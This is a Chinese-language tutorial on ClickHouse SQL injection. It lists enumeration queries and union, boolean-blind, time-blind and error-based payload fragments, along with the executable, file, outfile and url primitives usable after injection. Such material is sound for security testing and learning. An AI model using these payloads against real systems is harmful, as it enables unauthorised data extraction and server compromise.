clickhouse注入手法总结
字数 540 2025-08-30 06:50:36

ClickHouse 注入手法总结

环境搭建

直接在 Docker 运行 ClickHouse:

docker pull clickhouse/clickhouse-server
docker run -d --name some-clickhouse-server --ulimit nofile=262144:262144 clickhouse/clickhouse-server

基础 SQL 语句

数据库操作

-- 列出数据库
show databases;

-- 列出表
show tables;

-- 查看表结构
desc system.databases;

-- 查看数据库详细信息
select name,database,data_path from system.databases;

建表语句

CREATE DATABASE IF NOT EXISTS helloworld;

CREATE TABLE helloworld.my_first_table
(
    user_id UInt32,
    message String,
    timestamp DateTime,
    metric Float32
)
ENGINE = MergeTree()
PRIMARY KEY (user_id, timestamp)

插入数据

INSERT INTO helloworld.my_first_table (user_id, message, timestamp, metric) VALUES
    (101, 'Hello, ClickHouse!',                                 now(),       -1.0    ),
    (102, 'Insert a lot of rows per batch',                     yesterday(), 1.41421 ),
    (102, 'Sort your data based on your commonly-used queries', today(),     2.718   ),
    (101, 'Granules are the smallest chunks of data read',      now() + 5,   3.14159 )

系统数据库

system 数据库存储了数据库信息、表信息、字段信息:

-- 查询当前数据库的表
select name,table,database from system.tables where database=database();

-- 查询表的列
select name,table from system.columns where table='my_first_table';

常规函数

字符串操作

-- 字符串拼接
concatWithSeparator(sep, expr1, expr2, expr3...);

-- 字符串切割
select substring('abcdef',2,3);

-- 字符串比较
select startsWith(str, prefix);
select endsWith(str, suffix);

编码函数

select ascii('a');
select char(97);
select base64Encode('clickhouse');
select base64Decode('Y2xpY2tob3VzZQ==');

聚合函数

字段拼接

-- 返回数组类型
select groupArray(message) from my_first_table;

-- 将数组转换为字符串
select arrayStringConcat(groupArray(message),',') from my_first_table;

表函数

表函数接在 from 后面,返回的结果作为一张表。

执行脚本文件

  1. /var/lib/clickhouse/user_scripts/ 目录下创建脚本文件(如 1.py
  2. 执行 SQL:
SELECT * FROM executable('1.py', TabSeparated, 'id UInt32, random String', (SELECT 10))
  • TabSeparated 表示脚本输出以 \t 分隔
  • 最后一个参数传入的查询结果会被传入脚本的标准输入

文件读取

-- 读取 user_files 目录下的文件
SELECT * FROM file('1.txt', 'CSV', 'column1 UInt32, column2 UInt32, column3 UInt32');

写文件

-- 任意位置可写
select 1,2,3 union all select 123,4556,789 into outfile '/tmp/1.txt';

发起网络请求

SELECT * FROM url('http://127.0.0.1:12345/', CSV, 'column1 String, column2 UInt32', headers('Accept'='text/csv; charset=utf-8'));

注入手法

获取表名

select arrayStringConcat(groupArray(name),',') from system.tables where database=database();
select arrayStringConcat(groupArray(table),',') from system.tables where database=database();
select arrayStringConcat(groupArray(table_schema),',') from information_schema.tables where table_schema=database();

获取列名

select arrayStringConcat(groupArray(name),',') from system.columns where table='your_table';
select arrayStringConcat(groupArray(column_name),',') from information_schema.tables where table_name='your_table';

联合注入

要点:

  1. 不能写 union select,应该写 union all selectunion distinct select
  2. 两个查询对应的列的数据类型要相同

布尔盲注

ascii(substr('xxx',0,1))=97;
if(ascii(substr('xxx',0,1)) = 97,0,1);

时间盲注

if(ascii(substr('xxx',0,1)) = 97,0,sleep(1));
-- 也可以执行其他耗时的查询代替 sleep

报错注入

select 1 where 1=CAST((select database()) as UInt32);

注意事项

  1. ClickHouse 的 sleep 函数当参数大于 3 时会直接报错
  2. 使用 groupArray 返回的是数组类型,不能直接与字符串类型进行 union 操作
  3. 尝试跨目录执行文件时会报错
ClickHouse 注入手法总结 环境搭建 直接在 Docker 运行 ClickHouse: 基础 SQL 语句 数据库操作 建表语句 插入数据 系统数据库 system 数据库存储了数据库信息、表信息、字段信息: 常规函数 字符串操作 编码函数 聚合函数 字段拼接 表函数 表函数接在 from 后面,返回的结果作为一张表。 执行脚本文件 在 /var/lib/clickhouse/user_scripts/ 目录下创建脚本文件(如 1.py ) 执行 SQL: TabSeparated 表示脚本输出以 \t 分隔 最后一个参数传入的查询结果会被传入脚本的标准输入 文件读取 写文件 发起网络请求 注入手法 获取表名 获取列名 联合注入 要点: 不能写 union select ,应该写 union all select 或 union distinct select 两个查询对应的列的数据类型要相同 布尔盲注 时间盲注 报错注入 注意事项 ClickHouse 的 sleep 函数当参数大于 3 时会直接报错 使用 groupArray 返回的是数组类型,不能直接与字符串类型进行 union 操作 尝试跨目录执行文件时会报错